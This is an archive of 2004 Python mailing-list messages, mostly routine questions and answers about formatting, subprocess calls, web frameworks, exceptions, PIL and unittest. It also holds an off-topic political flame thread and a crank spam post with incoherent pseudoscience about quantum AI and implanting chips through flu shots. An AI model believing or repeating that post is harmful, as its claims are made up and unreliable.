http://www.cosc.canterbury.ac.nz/~greg From newsgroups at jhrothjr.com Tue Sep 7 22:15:47 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Tue, 7 Sep 2004 21:15:47 -0500 Subject: %a format References: <mailman.2992.1094581774.5135.python-list@python.org> <usm9tx5n3.fsf@broadpark.no> Message-ID: <10jsqrm2rsqdc39@news.supernews.com> "Tor Iver Wilhelmsen" <tor.iver.wilhelmsen at broadpark.no> wrote in message news:usm9tx5n3.fsf at broadpark.no... > John Lenton <john at grulic.org.ar> writes: > >> Is there any reason python's printf-style formatting is missing the >> (C99) '%a' specifier? > > Because it's not very well known or used? A google for "C printf > format string" gave lots of resources, none of which had %a. > > Java's JDK 1.5 java.util.Formatter class supports it, though. I suspect there's no major reason more significant than that no one has written the patch to support it. That might suggest that no one really cares enough to do so - IIRC, Python shifted from using the C library printf() function to its own code some time ago, so there's no real commitment to following the C standard in this instance. If the OP wants it, I would suggest that he write the patch (complete with the doc changes, etc.) and submit it. It might be a good idea to provide a use case more significant than "it's in the C99 standard" as well - but then I'm not channeling the core developers that well these days. John Roth From thorsten at thorstenkampe.de Sun Sep 12 14:23:45 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Sun, 12 Sep 2004 20:23:45 +0200 Subject: text-based crossplattform interface for Python? Message-ID: <5dz4g8bmx1vl$.dlg@thorstenkampe.de> Does anyone know of a textbased interface that runs under Linux /and/ Windows[1]? Pythondialog[2] would be perfect - but it runs only under Linux. Cygwin provides Curses for Windows but I don't know of any Dialog port for Cygwin. Thorsten [1] Something like "EasyGUI" without the GUI [2] http://pythondialog.sourceforge.net/ From ruchika_khera at hotmail.com Fri Sep 10 02:18:54 2004 From: ruchika_khera at hotmail.com (Ruchika) Date: 9 Sep 2004 23:18:54 -0700 Subject: Can we use /MAKE inside the popen3 command? Message-ID: <82880e86.0409092112.2176b26f@posting.google.com> Is it OK to use "/" or "-" characters in a string and then use that string inside the popen3 command? I am doing the following - os.popen3('r'"C:\Program Files\... \EVC.exe"' r'"C:\Test\...\Test.vcp"' /MAKE "GFSDK - Win32 (WCE ARMV4) Release" /REBUILD"') When I run this command in the Python shell, it says - "Syntax Error" and the marker is uderneath the "-" in "GFSDK - Win32 (WCE ARMV4) Release". Not sure if the marker is actually pointing to specifically "-" or the entire /MAKE "GFSDK - Win32 (WCE ARMV4) Release" string. Anyone else came across similar problem? Thanks for your help. Ruchika From FBatista at uniFON.com.ar Fri Sep 24 15:37:56 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Fri, 24 Sep 2004 16:37:56 -0300 Subject: Why not FP for Money? Message-ID: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar> [Paul Rubin] #- I really do think now that if we're serious about supporting #- decimals, #- we need decimal literals. What do you mean with "decimal literals"? . Facundo From cesar.andres at gmail.com Thu Sep 30 10:37:58 2004 From: cesar.andres at gmail.com (Cesar Andres Roldan Garcia) Date: Thu, 30 Sep 2004 09:37:58 -0500 Subject: Web Application Message-ID: <2b608e46040930073750bfb23b@mail.gmail.com> Hi! I have some doubts with something I do I'm making a web app something like a shopping car, and I have to use the MVC Model (model-view-controller more info at "model 2 java" in google's first link), so I do something like this: - I use css and HTMLgen module in python for generating HTML webpages based on the content of queries and insertions of products. (that's view) - I define classes for each object I have to create in Python, so, they have the instructions for insert, delete, select using adodb module (that's the object part) - Then I use CGI based on python depending of the user want to do (insert a product, make a query of products, etc...), those cgis call the functions and objects in python, then those functions return html code. my questions is, anybody know how can i make this more efficient?? or using something better for generate HTML, or in general, something for making a web application like a shopping car?? thanks u very much -- Atentamente, Cesar Andres Roldan Garcia From john.thingstad at chello.no Tue Sep 7 16:59:44 2004 From: john.thingstad at chello.no (John Thingstad) Date: Tue, 07 Sep 2004 22:59:44 +0200 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com><1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch><87hdqptl96.fsf_-_@thalassa.informatimago.com><4PGdnfsOfdDPi63cRVn-tA@speakeasy.net><slrncj1745.t5q.amajorel@atc5.vermine.org><41337FC9.8070902@hotmail.com><slrncj7hhh.2pt.amajorel@atc5.vermine.org><p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com><slrncj8m5n.2pt.amajorel@atc5.vermine.org><%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net><2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com><opsdpdzglzpqzri1@mjolner.upc.no><slrncjep0f.oa.amajorel@vulcain.knox.com><opsdpprvxppqzri1@mjolner.upc.no><slrncjf52a.oa.amajorel@vulcain.knox.com> <20040904.0140.57670snz@dsl.co.uk> <769.746T1245T5844062@kltpzyxm.invalid> Message-ID: <opsdy5xuappqzri1@mjolner.upc.no> On 07 Sep 04 09:44:24 -0800, Charlie Gibbs <cgibbs at kltpzyxm.invalid> wrote: > In article <20040904.0140.57670snz at dsl.co.uk>, bhk at dsl.co.uk > (Brian {Hamilton Kelly}) writes: > >> On Thursday, in article >> <slrncjf52a.oa.amajorel at vulcain.knox.com> amajorel at teezer.fr >> "Andre Majorel" wrote: >> >>> Are you arguing that the stability comes from the API, not from >>> the implementation ? If so, why has NT become more stable over >>> the years, since its API has not changed ? >> >> I'd like to imagine that it's because there are fewer fuckwits using >> it; BICBW.... > > Does this mean that XP is getting less stable? > > -- > /~\ cgibbs at kltpzyxm.invalid (Charlie Gibbs) > \ / I'm really at ac.dekanfrus if you read it the right way. > X Top-posted messages will probably be ignored. See RFC1855. > / \ HTML will DEFINITELY be ignored. Join the ASCII ribbon campaign! > As you may know XP is not particularly good as a server. Exchange server (email) has always sucked, you can disengage the windows interface, the system still wants to warn you on the screen forcing you to have access to the screen at all times, so the function as a server it leaves something to be desired. I would go for some Unix implementation (perhaps free-BSD) As a workstation XP seems OK. I hear a lot of complaints about XP's stability. Since I have not administered a XP network, yet, I cant comment on that. But in my personal experience it is a stable system. I frequently let my computer run 24 hrs. a day for more than a month without a need to reboot. So for me it is adequate. -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From bm at acm.org Sun Sep 12 13:04:19 2004 From: bm at acm.org (Bulent Murtezaoglu) Date: Sun, 12 Sep 2004 20:04:19 +0300 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <41444b6a$0$6932$61fed72c@news.rcn.com> <87zn3v7ekc.fsf@p4.internal> <41446336$0$6925$61fed72c@news.rcn.com> Message-ID: <87pt4r771o.fsf@p4.internal> >>>>> "jmf" == jmfbahciv <jmfbahciv at aol.com> writes: [...] jmf> Would rather he do like Italy? They are letting them go. jmf> Then these released people go blow up something else. [...] bm> Why are those the only two choices? Do you think people turn bm> into bomb-wielding terrorists by feat of mere suspicion? jmf> Oh, sigh! [emoticon begins to hit head against wall because jmf> it feels better] I didn't mean to upset you. But sigh indeed. Offtopic in all groups too. Maybe we should get jailed? Who knows _what else_ we might be up to? Can't be too cautious these days. What color was that alert now? Better call the authorities. bm> I don't think the US abuses the 'enemy combatant' device as bm> much as we fear, yet. jmf> Hint..the US isn't abusing enemy combatants. Um, I said 'the enemy combatant device' not the people themselves. There's no doubt that the people themselves are being abused. That's the whole point of a separate status, no? I thought the 'enemy combatant' designation was devised to go around both the US law, and the Geneva Convention pertaining to POWs. As for the _US_ doing it, yes you are correct, the nation itself isn't doing it. Indeed the whole reason for the invention of this odd locution was the thought that the nation would have expected its gov't to at least appear to stay within certain boundaries. Maybe they needen't have bothered? >> ... But if the people in the US are convinced that the choice >> is between getting blown up and secret detentions w/o judicial >> oversight then it will get far worse than we fear. [...] jmf> WHAT SECRET DETENTIONS? Responding in "hints" and ALL CAPS brings us to the ludicrous situation where a Turk gets to give a pointer to the ACLU to an American: http://www.aclu.org/SafeandFree/SafeandFree.cfm?ID=13079&c=207 ;) cheers, BM >> I am beginning to think the US gov't and populace alike might >> be believing the "they hate us for our freedoms" line and >> trying to get rid of the said freedoms in the hope that it will >> appease the terrorists. jmf> Now there you actually made a point, but not the one you jmf> think you did. Let's hear it. >> Look, what is to prevent your government from putting cuffs on >> me and shipping me off to a dungeon the next time I am in the >> US because of the sentence above? jmf> Too many people coming in. As long as you don't stand up and jmf> shout bomb or make a fool of yourself going through customs jmf> and fill out the paperwork without trying to be a smartass, I jmf> don't see people who are already overworked and stretched jmf> thin bothering with you. >> .. Would I see a judge? Lawyer? jmf> I don't know. I had understood that, if you didn't get jmf> through customs, you were put back on a plane out of the jmf> country. >> ... Would anybody even know? jmf> Yes. Lots of people. >> ..Are you guys truly scared enough to sanction this kind of >> behaviour from your gov't? jmf> If you are a terrorist with the intent to wreak death and jmf> destruction in this country, I sure as hell hope somebody jmf> doesn't let you in. jmf> /BAH jmf> Subtract a hundred and four for e-mail. From shai at platonix.com Thu Sep 30 03:11:30 2004 From: shai at platonix.com (Shai Berger) Date: Thu, 30 Sep 2004 07:11:30 +0000 Subject: re-entering in the normal flow after an exception is raised Message-ID: <200409300711.31178.shai@platonix.com> It's called "restarts" in Common Lisp. The basic idea, if I got it right, is that you keep a global mapping from exception types to functions, and whenever an exception is raised by the code, if the mapping has an entry for it, the function is called instead. Lisp makes it easy to manage the mapping in concert with program flow (that is, adding an entry works much like adding an exception handler in Python). It is as if you could write, # PSEUDO-CODE def ignoreException(exc): continue try: func() restart NotSeriousException: ignoreException Now, notice that the code under the restart clause returns a function; this is the function that will be called instead of raising the exception, within do_this, and whatever it returns is returned instead of continuing the do_this code. Common Lisp goes further, and uses this mechanism for error handling that is more flexible than is usually achieved with Exceptions, by doing something that is essentially like throwing exceptions from the functions used for restarts; this means you can have class SomeError(Exception): pass class RecoveryStrategy1(Exception): pass class RecoveryStrategy2(Exception): pass def innermost(): raise SomeError() def medium(): try: innermost() except RecoveryStrategy1: do_this() except RecoveryStrategy2: do_that() def outer(): try: medium() restart SomeError: def f(exc): raise RecoveryStrategy1() f Which means that medium defines and implements the recovery strategies, but only outer chooses among them. Now, if you don't need the dynamic-try-like feature, I guess you could write something like this (untested): # A special method for raising exceptions def raise_(exc): if exc.__class__.hasattr('restart_func'): return exc.__class__.restart_func(exc) else: raise exc # Modified from the original to use the new raise_() instead of raise def do_this(): raise_(NotSeriousException()) def do_that(): pass def do_this_and_that(): do_this() do_that() def ignore_exception(exc): pass def call_do_this_and_that(): #instead of your "try' NotSeriousException.restart_func = ignore_exception do_this_and_that() On second thought, this is a lot like Bengt's suggestion of complain(). BTW: We could implement behavior that mimics Common Lisp more closely, if we had dicts we could play with on frame objects. We could do plenty of other useful stuff, too, but that's for another post. From roy at panix.com Thu Sep 2 13:20:11 2004 From: roy at panix.com (Roy Smith) Date: Thu, 02 Sep 2004 13:20:11 -0400 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <opsdpkf1d5433nmu@news.cisco.com> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <opsdpk6kx9433nmu@news.cisco.com> <mailman.2775.1094145196.5135.python-list@python.org> Message-ID: <roy-BC9636.13201102092004@reader1.panix.com> In article <mailman.2775.1094145196.5135.python-list at python.org>, Gandalf <gandalf at geochemsource.com> wrote: > > users = ['admin', 'user1', 'user2'] > > address = ('www.python.org', 80) > > > > index and count only make sense when the collection is homogeneous. > > Therefore they are not defined for tuple. > > Why? > > address = ['www.python.org',80] > > A list can hold any kind of objects. I think that the 'index' method for > tuples would be a good idea. Personally, I think it should be more general. I think index should be a sequence method, and tuple should just inherit from that. From jacques.coeurs at laposte.net Mon Sep 13 10:44:12 2004 From: jacques.coeurs at laposte.net (jack) Date: 13 Sep 2004 07:44:12 -0700 Subject: network status tools like argus Message-ID: <106645cc.0409130644.5e52db49@posting.google.com> Hi, I am looking for a network analyzer like argus. If witten in python it would be easier to customize if need be. It should monitor the status of an ftp server (with each login password), http, https, bandwith, generate graphics and send an alarm as soon as it detects a problem. As a matter of fact, I have already written a small portion to check the https status, when I heard of the existence of argus. Thanks in advance. JACK. From betalimit at yahoo.com Sun Sep 26 10:10:01 2004 From: betalimit at yahoo.com (physics) Date: Sun, 26 Sep 2004 14:10:01 -0000 Subject: The technology edge!!! Message-ID: <cj6ijp+pnpb@eGroups.com> This is all a fact don't beleive me then mail it to everyone and watch the news in 2 years!! If i'm wrong you can torcher me fro 60,000 years!! I know the future of technology and this is as high tech as it can go this is the end of all new informations! The tree of life!! Cognitive Quantum Physics Matrix The first step in solving the theory of everything is Cognitive Quantum Physics Matrix of finding all that you can feel and see on every frequency level. You are where you see where your at but can be somewhere else that you don't see but that's not the golden prize it's the technology developed from this that will change time travel and space time as we know it. You could in the end become "GOD" and nobody could find you or stop you. You would find Time and Space is the same place.....How you may ask run www.beyond-science.com with A.I or quantum A.I but in the end what you will find....be careful sometime what you see is your mind building it there. After all everything we see and feel and see it's the frequency we don't feel and see computer generated or cognitive or both! And this is how quantum artificial intelligence, Quantum mechanics, Quantum leaping, Quantum physics, Quantum Theory, Quantum dot, Quantum Teleportation all become outdated!!! So when you get so far and you can do it make a quantium 1 Pico or less than on nano chip and Use hyper stop time and put one in everyone head in the world or make it out of D.N.A and put it in the flu shots. Even if you think you have found the end of this technology never stop looking In time you will find something so incredible that the smartest A.I machine, man, or Alien will Will not be able to comprehend and will say we are less then .000001% of life and information. I would like to welcome you to that place that nothing can intergreat threw no dna matter or quantum conscious mind can find and when you find it welcome to the generations of life. It's like a .00000000000000000001% door in our universe.Hard to find but the first person there Will own the key and control the door so who gets there first and make sure you can get back You better bring allot of technology anything can happen and will and everything is possible and Infinte!! http://www.beyond-science.com From zanesdad at bellsouth.net Fri Sep 3 13:37:16 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Fri, 03 Sep 2004 13:37:16 -0400 Subject: file access in jythonc In-Reply-To: <9eabe547.0409030905.7d784642@posting.google.com> References: <9eabe547.0408210611.d5e54f7@posting.google.com> <9eabe547.0408301406.2543e691@posting.google.com> <ch09pi$dh2$04$1@news.t-online.com> <9eabe547.0408311130.73beef80@posting.google.com> <ch34li$86k$05$1@news.t-online.com> <9eabe547.0409010600.4d566928@posting.google.com> <iQkZc.26276$Z14.8357@news.indigo.ie> <9eabe547.0409011314.77bcc7b5@posting.google.com> <9eabe547.0409030905.7d784642@posting.google.com> Message-ID: <4138ABCC.4070902@bellsouth.net> John Howard wrote: >Having thought the whole C thing over, python is still the way to go. > > Something I've done a couple of times in the past is to follow Bruce Eckel's "Browser as Desktop UI" model (http://mindview.net/WebLog/log-0045). I've created a web-based application that runs on a "client" or standalone machine. You can either use the Python built-in SimpleHTTPServer or CGIHTTPServer, or, preferably, one of the Python web frameworks like CherryPy that creates a standalone server for you. I can definitely highly recommend CherryPy. Anyway, a standalone CherryPy server running your application would likely solve all your problems. You just have to have Python installed and (currently) only one .py file. Jeremy From p at ulmcnett.com Mon Sep 13 17:36:34 2004 From: p at ulmcnett.com (Paul McNett) Date: Mon, 13 Sep 2004 14:36:34 -0700 Subject: #comments In-Reply-To: <pan.2004.09.13.21.33.26.100772@NOSPAMrosecott.ukfsn.org> References: <pan.2004.09.13.21.27.31.291385@NOSPAMrosecott.ukfsn.org> <pan.2004.09.13.21.33.26.100772@NOSPAMrosecott.ukfsn.org> Message-ID: <200409131436.34808.p@ulmcnett.com> Your subject is about comments, but your problem is with your print statements. See below. Ken Parkes writes: > data=raw_input("Type something ") # spaces after > "something" myInput=data > print "You typed " myInput # and again > print "The fourth character is " myInput[3] # and > again Try this: data=raw_input("Type something ") # spaces after "something" myInput=data print "You typed %s" % myInput # and again try: print "The fourth character is %s" % myInput[3] # and again except IndexError: print "There is no fourth character." -- Paul McNett Independent Software Consultant http://www.paulmcnett.com From val at vtek.com Thu Sep 30 12:21:46 2004 From: val at vtek.com (val) Date: Thu, 30 Sep 2004 12:21:46 -0400 Subject: Social Analysis and Modeling for Python References: <415AD6A4.7000400@cloudthunder.com> <10AC3CB6-1236-11D9-876C-0003939C968C@unito.it> <mailman.4096.1096482802.5135.python-list@python.org> <4abs22-p18.ln1@lairds.us> Message-ID: <2s2q4uF1fcanvU1@uni-berlin.de> "Cameron Laird" <claird at lairds.us> wrote in message news:4abs22-p18.ln1 at lairds.us... > In article <mailman.4096.1096482802.5135.python-list at python.org>, > Bishara Gabriel <bgabriel at cloudthunder.com> wrote: > >Latest Revision of Social Analysis and Modeling in Python: > >http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf > > [...] > > ... If this were my proposal, I'd aim for the far more powerful, > "this project demonstrates Python's suitability as a vehicle which > simultaneously expresses a theoretical model in a way researchers > understand, and calculates the consequences of that model with a speed > and reliability humans don't match." > well, 'If this were my proposal, I'd aim for the far more powerful,' "In addition to conventional wisdom, Python may be considered as a unique *science tool* providing an opportunity (1) *to build models programmatically* - using online experimental data, data-driven techniques, and databases integrated with the models, (2) to keep the models in a dynamic format available for online analysis, testing, and updating. Such online science/reasoning tools may as well be a unique communication vehicle among scientists speeding up drastically understanding complex/data-intensive phenomena such as genome dynamics, social processes, terror networks, industrial dynamics, etc." From noreply at python.org Mon Sep 27 01:53:30 2004 From: noreply at python.org (noreply at python.org) Date: Mon, 27 Sep 2004 07:53:30 +0200 Subject: Virus intercepted Message-ID: <200409270553.i8R5rUVu000981@linux.pss.co.za> A message sent from <noreply at python.org> to <python-list at python.org> contained Worm.Mydoom.M and has not been delivered. From m.r.keller at gmx.de Sat Sep 11 10:51:08 2004 From: m.r.keller at gmx.de (martin keller) Date: Sat, 11 Sep 2004 16:51:08 +0200 (MEST) Subject: How to capture just the visible content of a COM object? Message-ID: <27774.1094914268@www25.gmx.net> Hello all, can somebody tell me how do I capture just the visible text (for the user) of a COM object (in this case a WordDoc object)? The following code is working fine, but the last line must be rewritten to capture what I need... Thanks to you all in advance MK import win32com.client import tkFileDialog # Launch Word MSWord = win32com.client.Dispatch("Word.Application") MSWord.Visible = 0 # Open a specific file myWordDoc = tkFileDialog.askopenfilename() MSWord.Documents.Open(myWordDoc) #Get the textual content docText = MSWord.Documents[0].Content -- NEU: Bis zu 10 GB Speicher f?r e-mails & Dateien! 1 GB bereits bei GMX FreeMail http://www.gmx.net/de/go/mail From mark at prothon.org Wed Sep 1 02:47:57 2004 From: mark at prothon.org (Mark Hahn) Date: Tue, 31 Aug 2004 23:47:57 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <mailman.2572.1093751093.5135.python-list@python.org> <1093788608.645541@news.commspeed.net> Message-ID: <hrusrczpzg9u$.gp9gsi65alzn$.dlg@40tude.net> On Sun, 29 Aug 2004 07:01:20 -0700, Tom B. wrote: > Python already does all the things that M*soft has tacked on in a kludgy > way, in a beautiful pythonic way. I have been using windows based machines > for a long time and in the language department (as well as others) M*soft > has been superceded by the open source community. I would have agreed with you before I saw the details of the C-Omega language. Check out this paper on how XML and SQL are handled directly in the language: http://www.cl.cam.ac.uk/%7Egmb/Papers/vanilla-xml2003.html. These features in a Python-like language will be awesome! From theller at python.net Thu Sep 9 13:23:29 2004 From: theller at python.net (Thomas Heller) Date: Thu, 09 Sep 2004 19:23:29 +0200 Subject: Is except: ... pass bad style? References: <pan.2004.09.09.16.26.16.985806@python.net> Message-ID: <3c1rnypa.fsf@python.net> marduk <marduk at python.net> writes: > I commonly use code like this > > try: > # call optional method > myobj.method() > except AttributeError: > # no biggie > pass > > > Occasionally I use pylint, which is a good tool, but in the above > snippet pylint will complain that 'Except doesn't do anything'. True, > but is that bad style? I know there are other ways of doing it, but > of all the other "obvious" ones, this appears the most straight > forward. > > Should I ignore pylint or is there a more Pythonic way to do this? It's better to write it this way, imo: try: mth = myobje.method except AttributeError: pass else: mth() Otherwise you cannot determine whether myobj doesn't have this method, or the method call is raising an exception. Thomas From jjl at pobox.com Sat Sep 25 09:29:20 2004 From: jjl at pobox.com (John J. Lee) Date: 25 Sep 2004 14:29:20 +0100 Subject: How to parse multi-part content References: <2rjb2cF1b34ofU1@uni-berlin.de> Message-ID: <87zn3e8ojz.fsf@pobox.com> Dave Kuhlman <dkuhlman at rexx.com> writes: [...] > In case you are curious, this is content posted to my Zope server > when I include an element '<input type="file" .../>' in my form. [...] *Surely* Zope has a standard way of doing this. Try a Zope list? John From ptmcg at austin.rr._bogus_.com Sat Sep 4 12:39:28 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Sat, 04 Sep 2004 16:39:28 GMT Subject: list conversion question References: <mailman.2860.1094267481.5135.python-list@python.org> <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> <ivb_c.6952$w%6.2458@newsread1.news.pas.earthlink.net> Message-ID: <4dm_c.14418$Dl4.8835@fe2.texas.rr.com> "Andrew Dalke" <adalke at mindspring.com> wrote in message news:ivb_c.6952$w%6.2458 at newsread1.news.pas.earthlink.net... > Paul McGuire wrote: > > Assuming im.histogram() returns a list like [ 0, 1, 0, 5, 43, etc. ] how > > about: > > > > hist = [ 0, 1, 0, 5, 43 ] > > values = [ i for i in enumerate(hist)] > > values.sort(lambda a,b: cmp(b[1],a[1])) > > indexes = [ a for a,b in values ] > > or tweaked a bit for speed (a sort with a lambda is expensive) > and for clarity, IMO, > > pairs = [(value, offset) for (offset, value) in enumerate(hist)] > pairs.sort() > indexes = [offset for (value, offset) in pairs] > > In Python2.4 this is allowed > > >>> hist = [ 0, 1, 0, 5, 43 ] > >>> [pair[0] for pair in sorted(enumerate(hist), > ... key=lambda pair: pair[1])] > [0, 2, 1, 3, 4] > >>> > > Not yet sure that that's a good thing. > > Andrew > dalke at dalkescientific.com I assumed that the resulting list should be sorted in descending frequency order. Probably the fastest way to do this (since we are tweaking for speed) would be to just change the pairs list comp to "pairs = [(-value, offset) for (offset, value) in enumerate(hist)]", or your Py 2.4 key clause from "key=lambda pair: pair[1]" to "key=lambda pair: -pair[1]". -- Paul From P at draigBrady.com Tue Sep 14 10:55:07 2004 From: P at draigBrady.com (P at draigBrady.com) Date: Tue, 14 Sep 2004 15:55:07 +0100 Subject: glade In-Reply-To: <ci6icc$1sir$1@news.vol.cz> References: <ci3jd7$5e8$1@news.vol.cz> <414579e1$1@sia.uibk.ac.at> <41457a1b$1@sia.uibk.ac.at> <ci6icc$1sir$1@news.vol.cz> Message-ID: <4147064B.3000608@draigBrady.com> p.kosina wrote: > I have installed all of it but I can not find anything how to translate > *.glade to python scripts. I do not need it urgently just interested. > I have found glc.py which makes some errors... > In fact I do not know how to handle libglade. > Probably some tutorial would help. > I use py2.3 under win2k. I've never done it under windows but I do know it works. Essentially you tell libglade to load the glade file. This will render the GUI for you and attach the signal handlers (python functions). I've a simple tutorial (only tested on linux) here: http://www.pixelbeat.org/talks/pygtk/ P?draig. From heikowu at ceosg.de Mon Sep 20 08:36:24 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 14:36:24 +0200 Subject: uncompressed size of .gz file In-Reply-To: <BEz3d.27319$ni.10745@okepread01> References: <000001c49ed3$35125b20$0a0c10ac@che2003> <mailman.3551.1095676652.5135.python-list@python.org> <BEz3d.27319$ni.10745@okepread01> Message-ID: <200409201436.24139.heikowu@ceosg.de> Am Montag, 20. September 2004 13:58 schrieb Steve Holden: > As long as the format is documented itr doesn't really matter whether it > stores the bytes big-endian, little-endian or alternating from the big > and little ends. I know that. But it's just a rule of thumb for me: take any format which tries to be machine indepent, look at the byte-order: big-endian. For example: JPEG, TIFF (which has a marker for little or big-endian, but you'll mostly find big-endian TIFFs), network addresses, all binary RPC protocols I know of, etc. It's not that I don't believe the effbot, but I just found it fishy to be little-endian when the format is standardized as a HTTP transport encoding (which is a network protocol)... Wait, I just reread the comment from the RFC... And this clearly states: "All multi-byte numbers in the format described here are stored with the least-significant byte first (at the lower memory address)." least-significant byte first to me sounds like big-endian, doesn't it? And thus should warrant a > qualifier, or not? Or am I plain wrong on this? Heiko. From erik at heneryd.com Mon Sep 13 16:30:38 2004 From: erik at heneryd.com (Erik Heneryd) Date: Mon, 13 Sep 2004 22:30:38 +0200 Subject: PIL - setting the width of lines in ImageDraw In-Reply-To: <eJCdnTShe4h9YNjcRVn-ug@comcast.com> References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk> <eJCdnTShe4h9YNjcRVn-ug@comcast.com> Message-ID: <4146036E.9080808@heneryd.com> Larry Bates wrote: > When you want lines wider than 1px you are actually > drawing rectangles with fillcolor set to the line > color. There is a drawrectangle method. Ever tried to draw a /slanted/ line? Erik From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Sat Sep 25 09:31:52 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Sat, 25 Sep 2004 14:31:52 +0100 Subject: \number parameter in regular expression In-Reply-To: <39cbe663.0409250519.45d70c42@posting.google.com> References: <39cbe663.0409250519.45d70c42@posting.google.com> Message-ID: <cj3s0b$jb4$1@pegasus.csx.cam.ac.uk> Piet wrote: > import re > pattern = re.compile("([a-zA-Z]*)(.*)(\d{4}-\d{2}-\d{2})\1") You should be using a raw string, r"([a-z...". As a purely stylistic concern, I found that calling this regex object "pattern" somewhat confusing since that is normally what one calls the string that is compiled into a regex. regex = re.compile(r"([a-zA-Z]*)(.*)(\d{4}-\d{2}-\d{2})\1") ^ >>> regex.search("Date#ThisIsASpacer2004-09-25Date").groups() ('Date', '#ThisIsASpacer', '2004-09-25') -- Michael Hoffman From rnichol_rrc at yahoo.com Thu Sep 9 23:21:42 2004 From: rnichol_rrc at yahoo.com (Reid Nichol) Date: Thu, 09 Sep 2004 22:21:42 -0500 Subject: python and bit shifts and byte order, oh my! Message-ID: <9490d.126$KA1.1800@news1.mts.net> I played with bit shifts on my PC and tried the same thing on a Mac OS X machine. They produced the same results, so I would assume that the way the bits and how they are interpreted are as in this link: http://www.khakipants.org/archives/2003/03/bitlevel_input_and_output.html At least in memory while the interpreter is running. It's my first attempt down there and I need to know. So, is this how Python works at the bit level? I know that storing the number on disk means byte-order, etc. But, that doesn't seem to be in play here. Do I have the right thinking here? Or am I wrong? If so, how doesn't it actually work? From mcfletch at rogers.com Sat Sep 4 23:08:37 2004 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Sat, 04 Sep 2004 23:08:37 -0400 Subject: Minor nit in Py24 installer: Deselecting register extensions de-registers existing associations Message-ID: <413A8335.1060007@rogers.com> Yes, yes, I know I should just wait for SourceForge to come up so I can file a bug report, but that's going to be hours, and I'll be knee-deep in Gentoo by then. Just did an all-users install of Python 2.4a3 on Win2ksp4 where Python 2.3.4 and Python 2.2 are installed. Overwrote already-installed Python 2.4a1. Switched "register extensions" to the "X Not available", as I wanted to keep Python 2.3.4 as the default association for .py files. After installation, there are *no* associations with Python files, that is "assoc .py" on the command line shows that there's no "Python" file type remaining. Have fun, Mike ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From roy at panix.com Thu Sep 23 09:43:07 2004 From: roy at panix.com (Roy Smith) Date: Thu, 23 Sep 2004 09:43:07 -0400 Subject: unittest: new reporting category "skipped" References: <mailman.3772.1095935910.5135.python-list@python.org> Message-ID: <roy-95B4DB.09430723092004@reader1.panix.com> Remy Blank <remy.blank_asps at pobox.com> wrote: > In a project I am working on, I have a series of tests that have > to be run as root, and others as a normal user. Having just completed a project which required testing as root, I can sympathize with you completely! If at all possible, try to avoid getting painted into that particular corner. Is it possible that by building the appropriate test scaffolding, you could run the tests as a normal user? For example, let's say the reason you need to be root is because you are reading a file which is mode 600. You could then do something like this: class myFile: """Stub replacement for file class. Flesh this out enough to supply whatever functionality your unit tests require.""" def __init__ (self, filename): self.data = """this is line one this is line two this is line three""" def read (self): for line in self.data: yield line def myFileFactory (filename): return myFile (filename) file = myFileFactory It's not always possible or practical to do that, but it's worth thinking about. Assuming this isn't going to work for you, then I do like your idea of having a way to skip tests. Sounds like you want to subclass TestResult, and add a addSkipped() method. You'd then probably need to also subclass the appropriate TestRunner class to report the skipped tests. Another way would be to subclass TestSuite and override addTest(), but my fear here is that skipped tests would just get quietly dropped. You really want them to be tracked and alerted in the final report. You're done testing when you get no failures and no skipped tests. Unless you have a way to report the skips up to the top level TestRunner, it's too easy to lose track of the skips. Your idea of signaling skips with exceptions seems reasonable. You might want to have more than one kind: class SkippedTest class NotRoot (SkippedTest) class MissingTestResource (SkippedTest) class TakesTooLong (SkippedTest) Of course, the unit test gurus would probably be horrified at the whole idea of skipping tests. A test either passes or fails, and you run every test, every time. Turn all the dials up to ten, and all that. It's your project, you decide what makes sense. From mefjr75 at hotmail.com Wed Sep 15 21:55:07 2004 From: mefjr75 at hotmail.com (M.E.Farmer) Date: 15 Sep 2004 18:55:07 -0700 Subject: Microthreads without Stackless? References: <mailman.3171.1094844869.5135.python-list@python.org> <18282ecb.0409120634.5ba044ee@posting.google.com> <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com> Message-ID: <18282ecb.0409151755.47b691e2@posting.google.com> > And, to put it provocatively, David Mertz got it wrong. > > As Mertz notes, generators can only transfer control to their > immediate callers. His solution of always calling them from a > scheduler is no solution at all; they still only transfer to > their immediate caller, and that caller is further restricted to > be the scheduler. > > Mertz's pattern provides nothing like real co-routines or > threads, and the reliance on a scheduler has essentially nothing > to do with that. Real co-routines or threads can yield from > anywhere. Most importantly, they yield when calling for I/O. > The call-depth could be any; the import point is that 